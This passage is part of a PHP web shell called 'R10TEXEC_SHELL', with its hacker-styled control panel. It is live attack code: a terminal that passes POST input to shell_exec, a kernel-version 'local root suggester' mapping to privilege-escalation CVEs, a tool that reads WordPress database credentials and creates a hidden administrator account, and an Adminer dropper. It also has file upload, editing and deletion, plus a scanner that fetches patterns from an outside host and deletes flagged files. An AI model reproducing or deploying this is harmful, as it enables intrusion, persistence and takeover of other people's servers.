                'futex_requeue'=>['range'=>['2.6.28','3.9.0'],'cve'=>'CVE-2014-3153','url'=>'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153','note'=>'Futex requeue race condition.'],
                'ptrace_prctl'=>['range'=>['2.6.32','3.4.0'],'cve'=>'CVE-2013-2094','url'=>'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2094','note'=>'ptrace / PR_SET_DUMPABLE issue.'],
                'overlayfs_2021'=>['range'=>['5.8.0','5.11.0'],'cve'=>'CVE-2021-3493','url'=>'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3493','note'=>'OverlayFS privilege escalation (2021).'],
                'dirtypipe'=>['range'=>['5.8.0','5.16.11'],'cve'=>'CVE-2022-0847','url'=>'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847','note'=>'Dirty Pipe — local file overwrite vulnerability.'],
            ];};
            $kernel=php_uname('r');
            $matches=[];$normalize=fn($v)=>preg_match('/^(\d+(?:\.\d+){0,2})/',$v,$m)?$m[1]:$v;$k=$normalize($kernel);
            foreach($get_exploits() as $id=>$meta){[$min,$max]=$meta['range'];if($cmp_version($k,$min)>=0 && $cmp_version($k,$max)<=0)$matches[]=array_merge(['id'=>$id],$meta);}
            echo json_encode(['status'=>'success','kernel_raw'=>$kernel,'kernel_normalized'=>$k,'matches'=>$matches,'count'=>count($matches)],JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE);exit;
        break;
        // === R10TAPI / SSE Scanner Case ===
        case "r10tapi_scan": // ===== SSE Stream handler =====
            if (isset($_GET["stream"])) {
                ignore_user_abort(true);
                set_time_limit(0);
                header("Content-Type: text/event-stream");
                header("Cache-Control: no-cache");
                header("X-Accel-Buffering: no");
                header("Access-Control-Allow-Origin: *");
                header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
                header("Access-Control-Allow-Headers: Content-Type");
                @ob_end_flush();
                @ob_start();
                $root = rtrim($_SERVER["DOCUMENT_ROOT"], "/");
                $json = @file_get_contents(
                    "https://dev.artikelspiner.id/pattren_all_levels.json"
                );
                $decoded = json_decode($json, true);
                $activeLevels = ["dangerous", "medium", "smooth"];
                if (isset($_GET["active_levels"])) {
                    $activeLevels = explode(",", $_GET["active_levels"]);
                }
                $allowed_extensions = ["php", "html", "htm"];
                function sendEvent($data)
                {
                    echo "data:" . json_encode($data) . "\n\n";
                    @ob_flush();
                    @flush();
                    usleep(20000);
                }
                function deep_scan(
                    $dir,
                    $decoded,
                    $activeLevels,
                    $allowed_extensions,
                    $depth = 0,
                    $max_depth = 10
                ) {
                    if ($depth > $max_depth) {
                        return;
                    }
                    $items = @scandir($dir);
                    if (!$items) {
                        return;
                    }
                    foreach ($items as $item) {
                        if ($item === "." || $item === "..") {
                            continue;
                        }
                        $path = $dir . DIRECTORY_SEPARATOR . $item;
                        if (is_dir($path)) {
                            deep_scan(
                                $path,
                                $decoded,
                                $activeLevels,
                                $allowed_extensions,
                                $depth + 1,
                                $max_depth
                            );
                        } elseif (is_file($path)) {
                            $ext = strtolower(
                                pathinfo($path, PATHINFO_EXTENSION)
                            );
                            if (!in_array($ext, $allowed_extensions)) {
                                continue;
                            }
                            $handle = @fopen($path, "r");
                            if (!$handle) {
                                continue;
                            }
                            while (($line = fgets($handle)) !== false) {
                                foreach ($decoded as $level => $patterns) {
                                    if (!in_array($level, $activeLevels)) {
                                        continue;
                                    }
                                    foreach ($patterns as $p) {
                                        if (stripos($line, $p) !== false) {
                                            sendEvent([
                                                "file" => $path,
                                                "match" => $p,
                                                "level" => $level,
                                            ]);
                                            break 3;
                                        }
                                    }
                                }
                            }
                            fclose($handle);
                        }
                    }
                }
                sendEvent(["start" => true]);
                deep_scan($root, $decoded, $activeLevels, $allowed_extensions);
                sendEvent(["done" => true]);
                exit();
            }
            // ===== Delete handler =====
            if (
                $_SERVER["REQUEST_METHOD"] === "POST" &&
                ($_POST["action"] ?? "") === "delete"
            ) {
                $files = $_POST["files"] ?? [];
                $deleted = [];
                foreach ($files as $file) {
                    if (is_file($file)) {
                        @unlink($file);
                        $deleted[] = $file;
                    }
                }
                echo json_encode(["deleted" => $deleted]);
                exit();
            }
            break;
    }
    echo json_encode($res);
    exit();
} // ================= Helper Function =================
if (!function_exists("r10texec_logError")) {
    function r10texec_logError($msg)
    {
        return ["status" => "error", "message" => $msg];
    }
} // ================= AJAX / SSE Handler =================
if (
    $_SERVER["REQUEST_METHOD"] === "POST" ||
    isset($_GET["stream"]) ||
    (isset($_POST["cmd"]) && $_POST["cmd"] !== "")
) {
    header("Content-Type: application/json");
    $cmd = $_POST["cmd"] ?? "";
    $target = $_POST["target"] ?? "";
    $dest = $_POST["dest"] ?? "";
    $current = $_POST["current"] ?? getcwd();
    $action = $_POST["action"] ?? "";
    $files = $_POST["files"] ?? [];
    // Stream & active levels
    $stream = $_GET["stream"] ?? null;
    $activeLevels = $_GET["active_levels"] ?? "dangerous,medium,smooth";
    $activeLevels = explode(",", $activeLevels); // ---------- DELETE HANDLER ----------
    if ($action === "delete" && !empty($files)) {
        $deleted = [];
        foreach ($files as $file) {
            if (is_file($file)) {
                @unlink($file);
                $deleted[] = $file;
            }
        }
        echo json_encode(["deleted" => $deleted]);
        exit();
    } // ---------- TERMINAL COMMAND ----------
    if ($cmd === "terminal") {
        $cmd_input = $_POST["command"] ?? "";
        if ($cmd_input) {
            $output = function_exists("shell_exec")
                ? shell_exec($cmd_input . " 2>&1")
                : "";
            echo json_encode(
                $output
                    ? ["status" => "success", "output" => $output]
                    : r10texec_logError("Failed to execute command")
            );
            exit();
        }
    } // ---------- SSE / SCANNER ----------
    if ($cmd === "r10tapi_scan" || $stream) {
        ignore_user_abort(true);
        set_time_limit(0);
        header("Content-Type: text/event-stream");
        header("Cache-Control: no-cache");
        header("X-Accel-Buffering: no");
        header("Access-Control-Allow-Origin: *");
        header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
        header("Access-Control-Allow-Headers: Content-Type");
        @ob_end_flush();
        @ob_start();
        $root = rtrim($_SERVER["DOCUMENT_ROOT"], "/");
        $json = @file_get_contents(
            "https://dev.artikelspiner.id/pattren_all_levels.json"
        );
        $decoded = json_decode($json, true);
        $allowed_extensions = ["php", "html", "htm"];
        function sendEvent($data)
        {
            echo "data:" . json_encode($data) . "\n\n";
            @ob_flush();
            @flush();
            usleep(20000);
        }
        function deep_scan(
            $dir,
            $decoded,
            $activeLevels,
            $allowed_extensions,
            $depth = 0,
            $max_depth = 10
        ) {
            if ($depth > $max_depth) {
                return;
            }
            $items = @scandir($dir);
            if (!$items) {
                return;
            }
            foreach ($items as $item) {
                if ($item === "." || $item === "..") {
                    continue;
                }
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                if (is_dir($path)) {
                    deep_scan(
                        $path,
                        $decoded,
                        $activeLevels,
                        $allowed_extensions,
                        $depth + 1,
                        $max_depth
                    );
                } elseif (is_file($path)) {
                    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
                    if (!in_array($ext, $allowed_extensions)) {
                        continue;
                    }
                    $handle = @fopen($path, "r");
                    if (!$handle) {
                        continue;
                    }
                    while (($line = fgets($handle)) !== false) {
                        foreach ($decoded as $level => $patterns) {
                            if (!in_array($level, $activeLevels)) {
                                continue;
                            }
                            foreach ($patterns as $p) {
                                if (stripos($line, $p) !== false) {
                                    sendEvent([
                                        "file" => $path,
                                        "match" => $p,
                                        "level" => $level,
                                    ]);
                                    break 3;
                                }
                            }
                        }
                    }
                    fclose($handle);
                }
            }
        }
        sendEvent(["start" => true]);
        deep_scan($root, $decoded, $activeLevels, $allowed_extensions);
        sendEvent(["done" => true]);
        exit();
    }
    echo json_encode($res ?? r10texec_logError("Unknown"));
    exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>R10TEXEC_SHELL</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
<style>
body{background:#0d0d17;color:#e0faff;font-family:monospace;margin:0;display:flex;flex-direction:column;height:100vh}a{text-decoration:none;color:#0ff}a:hover{text-decoration:underline;color:#00e5ff}button{transition:.2s;cursor:pointer}#filelist tbody tr:hover{background:#1a1a2f;transform:scale(1.01);box-shadow:0 0 10px #00ffff44}#filelist th,#filelist td{border-bottom:1px solid #0ff2}.glow{animation:glow 1s ease-in-out infinite alternate}@keyframes glow{from{text-shadow:0 0 4px #0ff}to{text-shadow:0 0 10px #0ff}}#floatingTerminal{display:none;position:fixed;top:60px;right:60px;width:700px;height:380px;background:rgba(5,5,10,.95);border:2px solid #0ff;border-radius:12px;z-index:9999;display:flex;flex-direction:column;box-shadow:0 0 25px #00ffffaa;backdrop-filter:blur(6px)}#floatingTerminalHeader{cursor:move;padding:8px 14px;background:#111827;border-bottom:1px solid #0ff;color:#0ff;font-weight:bold;display:flex;justify-content:space-between;align-items:center}#floatingTerminalContent{flex:1;padding:12px;overflow-y:auto;background:#0a0a16;color:#0ff;font-family:monospace;font-size:14px}#floatingTerminal input{width:100%;padding:8px 10px;background:#0a0a16;color:#0ff;border:0;outline:0;font-family:monospace}#floatingTerminalClose{color:#f55;cursor:pointer;font-weight:bold}#fileModal{display:none;position:fixed;inset:0;background:rgba(0,0,0,.85);display:flex;justify-content:center;align-items:center;z-index:1000}#fileModalContent{background:#111827;padding:20px;border:2px solid #0ff;border-radius:12px;width:80%;max-width:850px;box-shadow:0 0 20px #0ff6}#fileContent{resize:none}#floatingTerminalContent::-webkit-scrollbar,.table-container::-webkit-scrollbar{width:8px;height:8px}#floatingTerminalContent::-webkit-scrollbar-thumb,.table-container::-webkit-scrollbar-thumb{background:#00ffff66;border-radius:4px}#notif{position:fixed;top:20px;right:20px;z-index:9999;display:flex;flex-direction:column;gap:8px;pointer-events:none}#notif div{pointer-events:auto;cursor:pointer;padding:8px 12px;border-radius:6px;color:#fff;font-weight:500;transition:transform .2s,opacity .3s;box-shadow:0 2px 8px rgba(0,0,0,.4)}#notif div:hover{transform:translateX(-5px);opacity:.85}@keyframes spin{0{transform:rotate(0)}100%{transform:rotate(360deg)}}#table-loader img.animate-spin{animation:spin 1s linear infinite}input,button{background-color:#11121e;color:#0ff;border-color:#0ff}input:focus{outline:0;box-shadow:0 0 8px #0ff}button:hover{background-color:#0ff;color:#0f111a;transition:.2s}label{color:#0ff}.card{background-color:#11121e;border:1px solid #0ff}#result div{border:1px solid}#floatingWindow{position:fixed;top:50px;left:50%;transform:translateX(-50%);width:450px;background-color:#11121e;color:#0ff;border:2px solid #0ff;border-radius:12px;box-shadow:0 0 20px #0ff;display:none;z-index:9999;cursor:move;padding:15px}#floatingHeader{font-weight:bold;border-bottom:1px solid #0ff;padding-bottom:8px;margin-bottom:10px;display:flex;justify-content:space-between;cursor:move}#floatingHeader button{background:0;color:#0ff;font-size:18px}#table-loader img.animate-spin { animation: spin 1s linear infinite; }
#table-loader .loader-bg { position:absolute; inset:0; background-color:rgba(0,0,0,0.3); backdrop-filter:blur(4px); }
@keyframes spin { 0%{transform:rotate(0deg);}100%{transform:rotate(360deg);} }
:root{--neon:#0ff}body{font-family:monospace;background:#0f111a;color:var(--neon);margin:0;padding:1rem}.floating{position:fixed;top:4.5rem;left:4.5rem;width:480px;background:#11121e;border:2px solid var(--neon);box-shadow:0 0 24px var(--neon);border-radius:10px;padding:10px;z-index:9999;display:none}.floating-header{padding:.35rem .5rem;border-bottom:1px solid rgba(0,255,255,.08);display:flex;justify-content:space-between;align-items:center;cursor:move}.terminal{padding:.6rem;color:var(--neon);font-size:.95rem}.cve-item{color:#ffd86b;margin:.25rem 0;padding:.35rem;border-radius:6px;background:rgba(255,216,107,0.04);border:1px solid rgba(255,216,107,0.06)}a.ref{color:var(--neon);text-decoration:underline}.muted{color:rgba(0,255,255,0.6)}.small{font-size:.85rem}hr{border:none;border-top:1px solid rgba(0,255,255,0.06);margin:.6rem 0}.mt-4 {
  margin-top: 0rem;
}.p-4 {
  padding: 0rem;
}

  </style>
</head>
<body>
<!-- Header -->
<div class="header sticky top-0 text-gray-100 shadow-lg border-b border-cyan-500 z-50"
     style="position:relative; background: url('https://t4.ftcdn.net/jpg/08/21/11/05/360_F_821110509_jkNxwt3dGvwEV30J3ftzU4UuDCO7DAmg.jpg') center/cover no-repeat; background-size:cover;">
  <!-- Overlay hitam agar teks terbaca -->
  <div style="position:absolute; inset:0; background: rgba(0,0,0,0.6); z-index:0;"></div>
  <!-- Konten header -->
  <div class="relative z-10 p-4">
    <div class="flex justify-between items-center">
      <h1 class="text-3xl md:text-4xl font-bold text-cyan-400 glow">CANABIS SHELL 🌿</h1>
    </div>
    <div class="overflow-x-auto mt-4">
      <table class="w-full table-auto text-sm bg-gray-900/40 backdrop-blur-md rounded-md">
        <tbody>
          <tr><td class="font-semibold w-24">Uname:</td><td colspan="2"><?php echo $uname; ?></td></tr>
          <tr><td class="font-semibold">User:</td><td><?php echo "$uid [ $user ]"; ?> <span class="font-semibold">Group:</span> <?php echo $gid; ?></td></tr>
          <tr><td class="font-semibold">PHP:</td><td><b><?php echo $phpver; ?></b> <span class="font-semibold">Safe Mode:</span> <span class="text-green-400"><?php echo $safemode; ?></span></td></tr>
          <tr><td class="font-semibold">ServerIP:</td><td><b><?php echo $serverIP; ?></b> <span class="font-semibold ml-2">Your IP:</span> <b><?php echo $yourIP; ?></b></td></tr>
          <tr><td class="font-semibold">DateTime:</td><td><b><?php echo $dateTime; ?></b></td></tr>
          <tr><td class="font-semibold">HDD:</td><td><span class="font-semibold">Total:</span> <?php echo $diskTotal; ?> <span class="font-semibold">Free:</span> <?php echo "$diskFree [$diskPercent]"; ?></td></tr>
          <tr><td class="font-semibold">Useful:</td><td><?php foreach (
              $useful
              as $u
          ) {
              echo "<span class='inline-block mr-2 bg-gray-800 px-2 py-0.5 rounded'>$u</span>";
          } ?></td></tr>
          <tr><td class="font-semibold">Downloader:</td><td><?php foreach (
              $downloaders
              as $d
          ) {
              echo "<span class='inline-block mr-2 bg-gray-800 px-2 py-0.5 rounded'>$d</span>";
          } ?></td></tr>
          <tr>
            <td class="font-semibold">Disable Functions:</td>
            <td>
                <?php if ($disabledArray): ?>
                <b id="toggleDisable" class="cursor-pointer text-yellow-400 hover:underline"><?php echo $disabled; ?></b>
                <?php else: ?><b>None</b><?php endif; ?>
            </td>
          </tr>
        </tbody>
      </table>
    </div>
  </div>
</div>,
<!-- Floating panel untuk Disable Functions -->
<?php if ($disabledArray): ?>
<div id="disabledList"
     class="hidden bg-gray-800 border border-cyan-500 rounded p-2 shadow-lg max-h-44 overflow-auto"
     style="position:fixed; top:100px; right:50px; z-index:999999; width:240px; cursor:move;">
    <?php foreach ($disabledArray as $df): ?>
        <div class="px-2 py-1 border-b border-gray-700"><?php echo $df; ?></div>
    <?php endforeach; ?>
</div>
<?php endif; ?>
<!-- Toolbar -->
<div class="toolbar flex flex-wrap gap-3 sticky top-[80px] z-30 p-3 border-b border-cyan-500 bg-gradient-to-r from-gray-900 via-gray-800 to-gray-900 shadow-md rounded-md">
  <div class="flex gap-2 items-center">
    <input type="text" id="newfolder" placeholder="Folder name" class="p-2 rounded bg-gray-800 border border-gray-700 focus:outline-none focus:ring-2 focus:ring-cyan-500">
    <button onclick="mkdir()" class="flex items-center gap-2 px-3 py-2 bg-cyan-600 hover:bg-cyan-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">📁 New Folder</button>
  </div>
  <div class="flex gap-2 items-center">
    <input type="text" id="newfile" placeholder="File name" class="p-2 rounded bg-gray-800 border border-gray-700 focus:outline-none focus:ring-2 focus:ring-cyan-500">
    <button onclick="makefile()" class="flex items-center gap-2 px-3 py-2 bg-blue-600 hover:bg-blue-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">📄 New File</button>
  </div>
  <div class="flex gap-2 items-center">
    <input type="text" id="targetFile" placeholder="File/Folder to Lock/Unlock" class="p-2 rounded bg-gray-800 border border-gray-700 focus:outline-none focus:ring-2 focus:ring-cyan-500">
    <button id="lockFileBtn" class="flex items-center gap-2 px-3 py-2 bg-green-600 hover:bg-green-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">🔒 Lock File/Folder</button>
    <button id="unlockFileBtn" class="flex items-center gap-2 px-3 py-2 bg-red-600 hover:bg-red-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">🔓 Unlock File/Folder</button>
  </div>
  <div class="flex gap-2 items-center">
    <input type="file" id="uploadfile" class="hidden">
    <button id="uploadBtn" class="flex items-center gap-2 px-3 py-2 bg-purple-600 hover:bg-purple-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">📤 Upload File</button>
  </div>
</div>


<!-- Breadcrumb -->
<div id="breadcrumb" class="mb-2 flex flex-wrap gap-1 bg-slate-800/80 p-2 rounded sticky top-[140px] z-20"></div>
<div class="table-container flex-1 overflow-auto px-4 relative">
  <div id="table-loader" class="absolute top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2 flex items-center justify-center hidden z-10">
    <img src="https://png.pngtree.com/png-clipart/20240604/original/pngtree-marijuana-leaf-in-a-colorful-round-circle-button-vector-picture-image_15484821.png" class="w-16 h-16 animate-spin" alt="Loading...">
  </div>
  <table class="w-full table-auto border-collapse" id="filelist">
    <thead class="bg-slate-900 text-cyan-400 sticky top-0 z-10">
      <tr>
        <th class="px-2">Name</th>
        <th class="px-2 text-center">Type</th>
        <th class="px-2 text-center">Size</th>
        <th class="px-2 text-center">Lastmod</th>
        <th class="px-2 text-center">Permissions</th>
        <th class="px-2 text-center">Owner/Group</th>
        <th class="px-2 text-center">Actions</th>
      </tr>
    </thead>
    <tbody class="divide-y divide-gray-700"></tbody>
  </table>
</div>

<style>

</style>


<div class="toolbar flex flex-wrap gap-3 p-3 border-t border-cyan-500 bg-gradient-to-r from-gray-900 via-gray-800 to-gray-900 shadow-md rounded-md mt-2">
  <button id="lockShellBtn" class="flex items-center gap-2 px-3 py-2 bg-cyan-600 hover:bg-cyan-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">
    🔒 <span>Lock Shell</span>
  </button>
  <button id="unlockShellBtn" class="flex items-center gap-2 px-3 py-2 bg-green-600 hover:bg-green-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">
    🔓 <span>Unlock Shell</span>
  </button>
  <button id="shellScanner" class="flex items-center gap-2 px-3 py-2 bg-yellow-600 hover:bg-yellow-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">
    🕵️ <span>Shell Scanner</span>
  </button>
  <button id="terminalBtn" class="flex items-center gap-2 px-3 py-2 bg-indigo-600 hover:bg-indigo-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">
    🖥️ <span>Open Terminal</span>
  </button>
  <button id="adminerBtn" class="flex items-center gap-2 px-3 py-2 bg-purple-600 hover:bg-purple-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">
    📄 <span>Drop Adminer</span>
  </button>
<button id="hiddenwpBtn" class="flex items-center gap-2 px-3 py-2 bg-purple-600 hover:bg-purple-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">
  🛡️ <span>WP Admin</span>
</button>
<button id="lpeBtn" class="flex items-center gap-2 px-3 py-2 bg-purple-600 hover:bg-purple-500 text-white rounded-lg shadow hover:shadow-lg transition-all duration-200">
💀 <span>LOCALROOT SUGGESTER</span>
</button>
</div>

<!-- Footer -->
<div class="footer text-center text-cyan-400 py-2 border-t border-cyan-500 bg-[#111827]/95">
  R10TEXEC_SHELL © 2025
</div>

<div id="panel" class="floating" role="dialog" aria-hidden="true" aria-label="LPE Tools">
  <div class="floating-header">
    <div><strong>💀 LPE Tools</strong><span class="muted small" id="kernelBadge" style="margin-left:.6rem"></span></div>
    <div><button id="closeBtn" class="muted small" style="background:none;border:0;padding:.25rem">✖</button></div>
  </div>
  <div class="terminal" id="terminal">
    <div class="small muted">Server kernel</div>
    <div id="kernelRaw" class="muted">—</div>
    <hr />
    <div id="matchesArea" class="small muted">Matches will appear here</div>
  </div>
</div>
<!-- ================= FLOATING SCANNER HTML ================= -->
<div id="floatingScanner" style="position:fixed; top:80px; right:80px; width:700px; max-height:80vh; background:rgba(0,0,0,0.9); border:2px solid #0ff; border-radius:12px; box-shadow:0 0 25px #0ff6; z-index:9999; display:none; overflow:hidden; flex-direction:column;">
    <!-- Header (Drag handle) -->
    <div id="floatingScannerHeader" style="cursor:move; padding:10px; background:#111827; color:#0ff; font-weight:bold; display:flex; justify-content:space-between; align-items:center;">
        <span>💀 SHELL SCANNER v2025 | R10TEXEC</span>
        <span id="floatingScannerClose" style="cursor:pointer; color:#f55; font-weight:bold; padding:2px 6px;">×</span>
    </div>

    <!-- Body -->
    <div style="flex:1; overflow-y:auto; padding:12px;">
        <p>🧠 Root Path: <code style="background:#000; padding:2px 4px; border:1px solid #0f0; color:#0f0;"><?php echo $_SERVER[
            "DOCUMENT_ROOT"
        ]; ?></code></p>

        <div style="margin:10px 0; display:flex; justify-content:center; gap:15px;">
            <label><input type="checkbox" id="dangerous" checked class="mr-2">Dangerous</label>
            <label><input type="checkbox" id="medium" checked class="mr-2">Medium</label>
            <label><input type="checkbox" id="smooth" checked class="mr-2">Smooth</label>
        </div>

        <div style="text-align:center; margin-bottom:10px;">
            <button onclick="startScan()" style="padding:6px 12px; border:2px solid #0f0; color:#0f0; background:transparent; border-radius:6px;">⚡ START DEEP SCAN</button>
        </div>

        <form id="bulk-form" onsubmit="deleteSelected(event)" style="text-align:center; margin-bottom:10px; display:none;">
            <button type="submit" style="padding:6px 12px; border:2px solid #f00; color:#f00; background:transparent; border-radius:6px;">☠️ DELETE SELECTED</button>
        </form>

        <div style="overflow-x:auto;">
            <table style="width:100%; border-collapse:collapse; font-family:monospace; font-size:13px; color:#0f0;">
                <thead style="background:#060; color:#000; font-weight:bold;">
                    <tr>
                        <th style="border:1px solid #0f0; padding:4px;">#</th>
                        <th style="border:1px solid #0f0; padding:4px;">File</th>
                        <th style="border:1px solid #0f0; padding:4px;">Pattern</th>
                        <th style="border:1px solid #0f0; padding:4px;">Risk</th>
                        <th style="border:1px solid #0f0; padding:4px;">✓</th>
                        <th style="border:1px solid #0f0; padding:4px;">Delete</th>
                    </tr>
                </thead>
                <tbody id="result-table" style="background:#000;">
                    <tr><td colspan="6" style="text-align:center; padding:8px; color:#0f0;">💤 Waiting for scan...</td></tr>
                </tbody>
            </table>
        </div>
    </div>
</div>
<div id="floatingWindow">
<div id="floatingHeader">
  <span>🔐 Hidden Admin Creator</span>
  <button id="closeFloating">✖️</button>
</div>
<div id="floatingContent">
<form id="adminForm" class="space-y-4">
<label>DB Host<input type="text" name="db_host" class="w-full px-3 py-2 rounded-lg focus:ring"></label>
<label>DB User<input type="text" name="db_user" class="w-full px-3 py-2 rounded-lg focus:ring"></label>
<label>DB Password<input type="text" name="db_pass" class="w-full px-3 py-2 rounded-lg focus:ring"></label>
<label>DB Name<input type="text" name="db_name" class="w-full px-3 py-2 rounded-lg focus:ring"></label>
<label>Admin Username<input type="text" name="admin_user" placeholder="adminhidden" class="w-full px-3 py-2 rounded-lg focus:ring"></label>
<label>Admin Password<input type="text" name="admin_pass" placeholder="(auto generate jika kosong)" class="w-full px-3 py-2 rounded-lg focus:ring"></label>
<label>Admin Email<input type="email" name="admin_email" value="admin@site.com" class="w-full px-3 py-2 rounded-lg focus:ring"></label>
<button type="submit" class="w-full bg-[#0ff] text-[#0f111a] font-semibold py-2 rounded-lg hover:bg-[#00ffffaa] transition">🚀 Create Hidden Admin</button>
</form>
<div id="result" class="mt-4 text-center text-sm"></div>
</div>
</div>
<!-- ===== LPE PANEL ===== -->


<!-- Floating Terminal -->
<div id="floatingTerminal">
  <div id="floatingTerminalHeader">
    <span>Interactive Terminal</span>
    <span id="floatingTerminalClose">×</span>
  </div>
  <div id="floatingTerminalContent"></div>
  <input type="text" id="floatingTerminalInput" placeholder="Enter command...">
</div>

<!-- File Modal -->
<div id="fileModal">
  <div id="fileModalContent">
    <h2 class="text-xl mb-2 text-cyan-400">Edit File: <span id="modalFileName"></span></h2>
    <textarea id="fileContent" class="w-full h-72 p-2 bg-gray-900 text-green-300 rounded"></textarea>
    <div class="mt-3 flex gap-2 justify-end">
      <button onclick="saveFile()" class="px-3 py-1 bg-green-600 rounded hover:bg-green-500">Save</button>
      <button onclick="closeModal()" class="px-3 py-1 bg-red-600 rounded hover:bg-red-500">Close</button>
    </div>
  </div>
</div>
<script>
const lpeBtn = document.getElementById('lpeBtn'),
      panel = document.getElementById('panel'),
      closePanelBtn = document.getElementById('closeBtn'),
      kernelRaw = document.getElementById('kernelRaw'),
      matchesArea = document.getElementById('matchesArea'),
      kernelBadge = document.getElementById('kernelBadge');

const dragHeader = panel.querySelector('.floating-header');
let drag = { on: false, x: 0, y: 0 };

// Drag functionality
dragHeader.addEventListener('mousedown', e => {
    drag.on = true;
    drag.x = e.clientX - panel.offsetLeft;
    drag.y = e.clientY - panel.offsetTop;
    document.body.style.userSelect = 'none';
});
document.addEventListener('mousemove', e => {
    if (!drag.on) return;
    panel.style.left = (e.clientX - drag.x) + 'px';
    panel.style.top = (e.clientY - drag.y) + 'px';
});
document.addEventListener('mouseup', () => {
    drag.on = false;
    document.body.style.userSelect = '';
});

// Show/hide panel
lpeBtn.addEventListener('click', () => {
    panel.style.display = 'block';
    panel.setAttribute('aria-hidden', 'false');
    fetchMatches();
});
closePanelBtn.addEventListener('click', () => {
    panel.style.display = 'none';
    panel.setAttribute('aria-hidden', 'true');
});

// Helper
function escapeHtml(s) {
    return String(s).replace(/[&<>"']/g, c => ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));
}

// Render matches
function renderMatches(d) {
    kernelRaw.textContent = d.kernel_raw || '—';
    kernelBadge.textContent = ` ${d.count ?? 0} match(es)`;

    const m = d.matches || [];
    if (m.length === 0) {
        matchesArea.innerHTML = '<div class="muted small">No matching metadata found.</div>';
        return;
    }

    matchesArea.innerHTML = m.map(x => `
        <div class="cve-item">
            <div><strong>${escapeHtml(x.cve)}</strong>
                 <span class="muted small">(${escapeHtml(x.range[0])} - ${escapeHtml(x.range[1])})</span>
            </div>
            <div class="small">${escapeHtml(x.note)}</div>
            <div class="small">Ref:
                <a class="ref" href="${escapeHtml(x.url)}" target="_blank" rel="noopener noreferrer">${escapeHtml(x.url)}</a>
            </div>
        </div>
    `).join('');
}

// Fetch matches
async function fetchMatches() {
    matchesArea.innerHTML = '<div class="muted small">⏳ Checking...</div>';
    try {
        const f = new URLSearchParams();
        f.append('cmd', 'get_exploits');

        const r = await fetch(location.href, { method: 'POST', body: f });
        const d = await r.json();

        if (d.status === 'success') renderMatches(d);
        else matchesArea.innerHTML = `<div class="muted small">Error: ${escapeHtml(d.msg || 'unknown')}</div>`;
    } catch(e) {
        matchesArea.innerHTML = `<div class="muted small">Network/Error: ${escapeHtml(e.message)}</div>`;
    }
}

//<!-- ===== HIDDEN WP PANEL ===== -->

const wpBtn = document.getElementById('hiddenwpBtn'),
      floatingWindow = document.getElementById('floatingWindow'),
      closeFloatingBtn = document.getElementById('closeFloating'),
      adminForm = document.getElementById('adminForm');

wpBtn.addEventListener('click', async ()=>{
    floatingWindow.style.display='block';
    const resBox = document.getElementById('result');
    resBox.innerHTML = `<div class="p-2">⏳ Loading WP Config...</div>`;
    try{
        const res = await fetch("",{
            method:"POST",
            body:new URLSearchParams({cmd:'get_wp_config'})
        });
        const data = await res.json();
        if(data.status==='success'){
            ['db_host','db_user','db_pass','db_name'].forEach(f=>{
                adminForm.querySelector(`[name=${f}]`).value = data.db_config[f] ?? '';
            });
            resBox.innerHTML = `<div class="p-2 text-[#0ff]">✅ WP Config loaded</div>`;
        } else {
            resBox.innerHTML = `<div class="p-2 text-[#ff0]">${data.msg}</div>`;
        }
    }catch(e){
        resBox.innerHTML = `<div class="p-2 text-[#f00]">❌ Error: ${e}</div>`;
    }
});

// Close floating
closeFloatingBtn.addEventListener('click',()=>floatingWindow.style.display='none');

// Drag floating
let isFloatingDragging=false, offsetX=0, offsetY=0;
const floatingHeader = document.getElementById('floatingHeader');
floatingHeader.addEventListener('mousedown', e=>{
    isFloatingDragging=true;
    offsetX=e.clientX-floatingWindow.offsetLeft;
    offsetY=e.clientY-floatingWindow.offsetTop;
});
document.addEventListener('mousemove', e=>{
    if(isFloatingDragging){
        floatingWindow.style.left=(e.clientX-offsetX)+'px';
        floatingWindow.style.top=(e.clientY-offsetY)+'px';
    }
});
document.addEventListener('mouseup', e=>{isFloatingDragging=false;});

// Submit hidden admin
adminForm.addEventListener('submit', async e=>{
    e.preventDefault();
    const formData = new FormData(adminForm);
    formData.append('cmd','hidden_admin');
    const resBox = document.getElementById('result');
    resBox.innerHTML = `<div class="p-2">⏳ Creating admin...</div>`;
    try{
        const res = await fetch("",{method:"POST",body:formData});
        const data = await res.json();
        if(data.status==='success'){
            resBox.innerHTML = `<div class="p-2 text-[#0ff]">${data.msg.replace(/\n/g,'<br>')}</div>`;
        }else{
            resBox.innerHTML = `<div class="p-2 text-[#f00]">${data.msg}</div>`;
        }
    }catch(e){
        resBox.innerHTML = `<div class="p-2 text-[#f00]">❌ Error: ${e}</div>`;
    }
});
</script>
<script>
// ===== Toggle floating scanner =====
const scannerBtn = document.getElementById('shellScanner'); // buat tombol di halaman
const floatingScanner = document.getElementById('floatingScanner');
const closeScanner = document.getElementById('floatingScannerClose');
if(scannerBtn){
    scannerBtn.addEventListener('click', () => { floatingScanner.style.display = 'flex'; });
}
closeScanner.addEventListener('click', () => { floatingScanner.style.display = 'none'; });
